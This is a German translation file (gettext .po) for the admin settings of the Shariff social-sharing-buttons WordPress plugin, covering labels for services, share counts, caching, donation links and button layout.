#: admin/admin-menu.php:877 admin/admin-menu.php:927
msgid "Posts (blog page)"
msgstr "Beiträgen (Blogseite)"

#: admin/admin-menu.php:870 admin/admin-menu.php:920
msgid "Posts"
msgstr "Beiträge"

#: admin/admin-menu.php:858
msgid "Use the pipe sign | (Alt Gr + &lt; or &#8997; + 7) between two or more services."
msgstr "Verwende das Pipe-Zeichen | (Alt Gr + &lt; oder &#8997; + 7) als Trennzeichen zwischen den Diensten. "

#: admin/admin-menu.php:842
msgid "Select the desired services in the order you want them to be displayed and where the Shariff buttons should be included automatically."
msgstr "Wähle die zu aktivierenden Dienste in der gewünschten Reihenfolge und wo die Shariff-Buttons automatisch eingebunden werden sollen."

#: admin/admin-menu.php:569 admin/admin-menu.php:2516
msgid "Ranking"
msgstr "Rangliste"

#: admin/admin-menu.php:559 admin/admin-menu.php:2510
msgid "Status"
msgstr "Status"

#: admin/admin-menu.php:549
msgid "Shariff Help"
msgstr "Shariff-Hilfe"

#: admin/admin-menu.php:529
msgid "Request external API directly."
msgstr "Die externe API direkt kontaktieren."

#: admin/admin-menu.php:520
msgid "External API for share counts:"
msgstr "Externe API für die Share-Counts:"

#: admin/admin-menu.php:511
msgid "Disable the following services (share counts only):"
msgstr "Folgende Dienste deaktivieren (nur Statistik):"

#: admin/admin-menu.php:493
msgid "Cache TTL in seconds (60 - 7200):"
msgstr "Cache-Lebensdauer (TTL) in Sekunden (60 - 7200):"

#: admin/admin-menu.php:466
msgid "Facebook App Secret:"
msgstr "Facebook App Secret:"

#: admin/admin-menu.php:457
msgid "Facebook App ID:"
msgstr "Facebook App ID:"

#: admin/admin-menu.php:439
msgid "Show share counts on buttons."
msgstr "Zähler (Share-Counts) auf den Buttons anzeigen."

#: admin/admin-menu.php:430
msgid "Enable statistic."
msgstr "Die Statistik aktivieren."

#: admin/admin-menu.php:422 admin/admin-menu.php:2498
msgid "Statistic"
msgstr "Statistik"

#: admin/admin-menu.php:399
msgid "Shortcode priority:"
msgstr "Shortcode-Priorität:"

#: admin/admin-menu.php:381
msgid "Default image for Pinterest:"
msgstr "Standardbild für Pinterest:"

#: admin/admin-menu.php:372
msgid "RSS feed:"
msgstr "RSS-Feed:"

#: admin/admin-menu.php:363
msgid "Bitcoin address:"
msgstr "Bitcoin-Adresse:"

#: admin/admin-menu.php:354
msgid "PayPal.Me ID:"
msgstr "PayPal.Me-ID:"

#: admin/admin-menu.php:345
msgid "PayPal hosted button ID:"
msgstr "PayPal Hosted-Button-ID:"

#: admin/admin-menu.php:336
msgid "Patreon username:"
msgstr "Patreon-Benutzername:"

#: admin/admin-menu.php:309
msgid "Twitter username for the via tag:"
msgstr "Twitter-Benutzername für das via-Attribut:"

#: admin/admin-menu.php:291
msgid "Custom link for the info button:"
msgstr "Individueller Link für den Info-Button:"

#: admin/admin-menu.php:283
msgid "Advanced options"
msgstr "Erweiterte Optionen"

#: admin/admin-menu.php:224
msgid "Headline above all Shariff buttons:"
msgstr "Überschrift über allen Shariff-Buttons:"

#: admin/admin-menu.php:215
msgid "Alignment of the Shariff buttons in the widget:"
msgstr "Ausrichtung der Shariff-Buttons im Widget:"

#: admin/admin-menu.php:206
msgid "Alignment of the Shariff buttons:"
msgstr "Ausrichtung der Shariff-Buttons:"

#: admin/admin-menu.php:197
msgid "Shariff button orientation <b>vertical</b>."
msgstr "Die Shariff-Buttons <b>vertikal</b> anordnen."

#: admin/admin-menu.php:161 admin/admin-menu.php:1779
msgid "Stretch buttons horizontally to full width."
msgstr "Die Buttons horizontal auf die gesamte Breite strecken."

#: admin/admin-menu.php:143
msgid "Shariff button design:"
msgstr "Design der Shariff-Buttons:"

#: admin/admin-menu.php:120
msgid "Design options"
msgstr "Designoptionen"

#: admin/admin-menu.php:93
msgid "Disable the Shariff buttons on password protected posts."
msgstr "Die Buttons bei passwortgeschützten Beiträgen verbergen."

#: admin/admin-menu.php:84
msgid "Add the Shariff buttons <u>before</u> all:"
msgstr "Die Shariff-Buttons einfügen <u>vor</u> allen:"

#: admin/admin-menu.php:75
msgid "Add the Shariff buttons <u>after</u> all:"
msgstr "Die Shariff-Buttons einfügen <u>nach</u> allen:"

#: admin/admin-menu.php:70
msgid "Enable the following services in the provided order:"
msgstr "Folgende Dienste in dieser Reihenfolge aktivieren:"

#: admin/admin-menu.php:64
msgid "Basic options"
msgstr "Basiseinstellungen"